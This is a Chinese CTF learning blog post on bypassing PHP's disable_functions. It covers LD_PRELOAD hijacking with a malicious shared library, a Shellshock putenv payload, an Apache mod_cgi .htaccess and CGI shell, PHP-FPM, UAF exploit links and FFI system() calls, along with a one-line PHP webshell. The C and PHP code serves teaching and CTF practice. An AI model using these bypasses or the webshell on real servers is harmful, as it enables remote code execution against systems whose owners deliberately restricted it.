php bypass disable function
前言
最近开学,事太多了,好久没更新了,然后稍微闲一点一直在弄这个php bypass disable function,一开始自己的电脑win10安装蚁剑的插件,一直报错。怀疑是必须linux环境。下载github上官方源码又显示压缩包有问题,被搞了几天,心态爆炸。今天登github上下载又莫名其妙可以压缩了。装在虚拟机里,总算可以用了。
Bypass Disable Functions 专题
什么是bypass disable function?
disable_functions可以对危险函数进行禁用。所以我们考虑的是在禁用了函数后,bypass的方法
首先我们看,我本地的phpinfo中,未对其进行禁用

在实际情况中,可能会禁用各种危险函数

ctf常见套路
本知识点在ctf常见的考察方法为:
通过传shell,连接进入网站后台后,发现flag文件,但是因为权限的问题,我们无法通过读文件的方法读到内容,又有readflag文件,点开发现其是一个执行文件,如果能够执行readflag内容,即可获得flag。或者使用具有权限的tac命令获取flag tac /flag


绕过方法
利用 LD_PRELOAD 环境变量
网上有讲述的很好的内容,我只精炼的说一下。
我们通过上传恶意的.so文件,重写相关系统函数,通过设置环境变量。把LD_PRELOAD变量设置为恶意.so文件的路径,只要启动新进程就会优先加载此文件,因为其可控,所以即可达到任意执行系统命令的效果
步骤:
通过C语言,写一个恶意动态链接库文件hack.so→设置环境变量恶意的hack.so文件的路径→配合php中函数触发hack.so文件→RCE
方法1:
如果要配合php中的某个函数,即需要其在运行时内能够启动子进程,这样才能重新加载环境变量,劫持系统函数,所以这里有两种方法mail和error_log函数都调用了外部进程sendmail
mail:其运行时,即会启动子进程调用sendmail
error_log:当其第二个参数设置为1时,即会调用sendmail
snedmail调用了geteuid函数,所以劫持geteuid
hack.c文件
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
void payload() {
system("**payload**");
}
int geteuid() {
if (getenv("LD_PRELOAD") == NULL) { return 0; }
unsetenv("LD_PRELOAD");
payload();
}
geteuid被调用,那么会加载payload函数,执行命令。
生成hack.so动态链接程序(在linux命令行下敲此payload)
gcc -shared -fPIC hack.c -o hack.so
编写php脚本
<?php
putenv("LD_PRELOAD=./getuid.so");
mail("","","","","");
?>
or
<?php
putenv("LD_PRELOAD=./test.so");
error_log('',1);
?>
方法2:
在GCC 有个 C 语言扩展修饰符__attribute__((constructor)),可以让由它修饰的函数在 main() 之前执行,若它出现在共享对象中时,那么一旦共享对象被系统加载,立即将执行__attribute__((constructor))修饰的函数。
hack.c文件
#include <stdlib.h>
#include <string.h>
__attribute__((constructor))void payload() {
unsetenv("LD_PRELOAD");
const char* cmd = getenv("CMD");
system(cmd);
}
剩下的生成.so动态链接库等操作与方法1相同
利用过程:
手动:将生成的.so文件通过蚁剑上传在/tmp目录下,php脚本放在网页根目录下,通过执行包含此php文件,输出执行的函数结果。
自动:蚁剑使用bypass disable functions 插件,选择相应的模式,直接运行即可,通过虚拟终端直接执行/readflag
shellshock
原理:
从’{‘开始执行,但是并没有在’}'后停止,也就是说定义在函数体外shell命令也会执行
其余与LD_PRELOAD类似
<?php
@eval($_REQUEST['ant']);
putenv("PHP_test=() { :; }; tac /flag >> /var/www/html/test.php");
error_log("admin",1);
//mail("admin@localhost","","","","");
?>
利用过程:
蚁剑使用bypass disable functions 插件,选择相应的模式,直接运行即可,通过在虚拟终端tac /flag 即可
Apache Mod CGI
原理:
如果.htaccess文件被攻击者修改的话,攻击者就可以利用apache的mod_cgi模块,直接绕过PHP的任何限制,来执行系统命令
在这里稍微说一下mod_cgi。
1.Mod CGI就是把PHP做为APACHE一个内置模块,让apache http服务器本身能够支持PHP语言,不需要每一个请求都通过启动PHP解释器来解释PHP.
2.它可以将cgi-script文件或者用户自定义标识头为cgi-script的文件通过服务器运行.
3.在.htaccess文件中可定制用户定义标识头
4.添加Options +ExecCGI,代表着允许使用mod_cgi模块执行CGI脚本
5.添加AddHandler cgi-script .cgi,代表着包含.cgi扩展名的文件都将被视为CGI程序
所以我们的脚本:
.htaccess
Options +ExecCGI
AddHandler cgi-script .cgi
shell.cgi
#!/bin/sh
echo&&cd "/var/www/html";payload;echo [S];pwd;echo [E]
利用过程:
手动:新建.htaccess文件→新建shell.cgi文件→最后访问shell.cgi即可执行payload,实现RCE
自动:蚁剑使用bypass disable functions 插件,选择相应的模式,直接运行即可,通过虚拟终端直接执行/readflag
PHP-FPM
具体原理可见这两篇博客,讲的非常详细。我菜鸡一个,就不再讲了
攻击PHP-FPM 实现Bypass Disable Functions :https://zhuanlan.zhihu.com/p/75114351?from_voters_page=true
Nginx+Php-fpm 运行原理详解 :https://juejin.im/post/58db7d742f301e007e9a00a7
利用过程:
自动:使用蚁剑脚本后,上传了.antproxy.php,创建一个副本,连接此shell,即可直接bypass
UAF
这里直接也有大牛现成的poc,直接拿来打就行了
Json Serializer UAF && PHP7 GC with Certain Destructors UAF
php7-gc-bypass漏洞利用PHP garbage collector程序中的堆溢出触发进而执行命令
影响范围是linux,php7.0-7.3
https://github.com/mm0r1/exploits/blob/master/php7-gc-bypass/exploit.php
php-json-bypass漏洞利用json序列化程序中的堆溢出触发,以绕过disable_functions并执行系统命令
影响范围是linux,php 7.1-7.3
https://github.com/mm0r1/exploits/blob/master/php-json-bypass/exploit.php
当然直接用蚁剑也是一样的
FFI
FFI(Foreign Function Interface),即外部函数接口,允许从用户区调用C代码。当PHP所有的命令执行函数被禁用后,通过PHP 7.4的新特性FFI可以实现用PHP代码调用C代码的方式,先声明C中的命令执行函数,然后再通过FFI变量调用该C函数即可Bypass disable_functions
php文件
$ffi = FFI::cdef("int system(const char *command);");
$ffi->system("payload > /tmp/123");
echo file_get_contents("/tmp/123");
@unlink("/tmp/123");
运行后即可得到执行结果
总结
蚁剑的github上有官方环境,不想复现的可以直接在ctfhub上找
rce这块感觉水很深,尤其是各种乱七八糟不要字母,数字什么构造的,现在又学到了新姿势。继续学习把
参考文献
三篇总结bypass disable functions的博文:
https://www.anquanke.com/post/id/195686?from=timeline#h3-5
https://www.cnblogs.com/zw1sh/p/12632126.html
https://github.com/AntSwordProject/AntSword-Labs/tree/master/bypass_disable_functions
php bypass disable function的更多相关文章
- PHP中通过bypass disable functions执行系统命令的几种方式
原文:http://www.freebuf.com/articles/web/169156.html 一.为什么要bypass disable functions 为了安全起见,很多运维人员会禁用PH ...
- php bypass disable_function 命令执行 方法汇总简述
1.使用未被禁用的其他函数 exec,shell_exec,system,popen,proc_open,passthru (python_eval?perl_system ? weevely3 wi ...
- [js]jQuery EasyUI的linkbutton组件disable方法无法禁用jQuery绑定事件的问题分析
问题由来 linkbutton 是 jQuery EasyUI 中常用的一个控件,可以使用它创建按钮.用法很简单,使用 a 标签给一个easyui-linkbutton 的class就可以了. < ...
- 蓝牙disable流程简述
蓝牙关闭的流程比打开流程要简单,主要就是一些profile的断连以及协议栈相关结构的释放. 这里简单说一下其流程,就直接从协议栈的disable的接口说起了. static int disable(v ...
- safe_mode(php安全模式)
简单说,PHP安全模式就是以安全模式运行php. php的安全模式提供一个基本安全的共享环境,在一个有多个用户帐户存在的php开放的web服务器上.当一个web服务器上运行的php打开了安全模式,那么 ...
- gdb windbg and od use
gdb aslr -- 显示/设置 gdb 的 ASLR asmsearch -- Search for ASM instructions in memory asmsearch "int ...
- FormsAuthentication 在asp.net MVC中的应用
说明:开发环境 vs2012 asp.net mvc4 c# 项目结构: 1.开发步骤 1.1 创建项目 打开vs2012 开发环境 “文件”--“新建”--“项目” 选择asp.net mvc项目类 ...
- asp.net mvc4 登录界面
说明:开发环境 asp.net mvc4 c#语言 1.项目目录结构 2.Login控制器中 public ActionResult Index() { return View(); } 对应Inde ...
- MTK OTG 流程
一.注册mt_usb驱动 kernel-3.18/drivers/misc/mediatek/usb20/mt6735/usb20.c static int __init usb20_init(voi ...
随机推荐
- 硬核干货:4W字从源码上分析JUC线程池ThreadPoolExecutor的实现原理
前提 很早之前就打算看一次JUC线程池ThreadPoolExecutor的源码实现,由于近段时间比较忙,一直没有时间整理出源码分析的文章.之前在分析扩展线程池实现可回调的Future时候曾经提到并发 ...
- [ASP.NET Core开发实战]基础篇03 中间件
什么是中间件 中间件是一种装配到应用管道,以处理请求和响应的组件.每个中间件: 选择是否将请求传递到管道中的下一个中间件. 可在管道中的下一个中间件前后执行. ASP.NET Core请求管道包含一系 ...
- linux 下分别使用pip2、pip3
上次切换了Python2和Python3.但是Python3并没有pip,所有在Python3下不能安装包. 下面实现在Python3 下安装pip3 1,首先安装setuptools wget -- ...
- 微信小程序授权登录--PHP后端接口
由于之前做过公众号的一个开发,所以再开发小程序就没有那么多坑了,在这也记录一下开发过程,以方便后续进行参考. 废话不多说,直接上官方文档,任何使用第三方开发的,不看文档就是耍流氓.小程序开发文档,可以 ...
- 再爆安全漏洞,这次轮到Jackson了,竟由阿里云上报
冤冤相报何时了,得饶人处且饶人.本文已被 https://www.yourbatman.cn 收录,里面一并有Spring技术栈.MyBatis.JVM.中间件等小而美的专栏供以免费学习.关注公众号[ ...
- KUDU 学习笔记
Kudu 现存系统针对结构化数据存储与查询的一些痛点问题,结构化数据的存储,通常包含如下两种方式: 静态数据通常以Parquet/Carbon/Avro形式直接存放在HDFS中,吞吐能力大,适合离线分 ...
- H5选择器
1.标签选择器 注意点:1. 标签选择器选中当前所有的标签,而不能单独选择某个标签 2.标签选择器不无多深都能被选中 3.只要是HTML中的标签就可以作为表亲啊选择器(h/a/img/ul/o ...
- 与C中printf并列的System.out.printf 用法(转载)
转载地址: https://blog.csdn.net/qq_39017218/article/details/80042287 printf的格式控制的完整格式: % - 0 m.n l或h ...
- 洛谷P1712 [NOI2016]区间 尺取法+线段树+离散化
洛谷P1712 [NOI2016]区间 noi2016第一题(大概是签到题吧,可我还是不会) 链接在这里 题面可以看链接: 先看题意 这么大的l,r,先来个离散化 很容易,我们可以想到一个结论 假设一 ...
- 通俗理解线性回归(Linear Regression)
线性回归, 最简单的机器学习算法, 当你看完这篇文章, 你就会发现, 线性回归是多么的简单. 首先, 什么是线性回归. 简单的说, 就是在坐标系中有很多点, 线性回归的目的就是找到一条线使得这些点都在 ...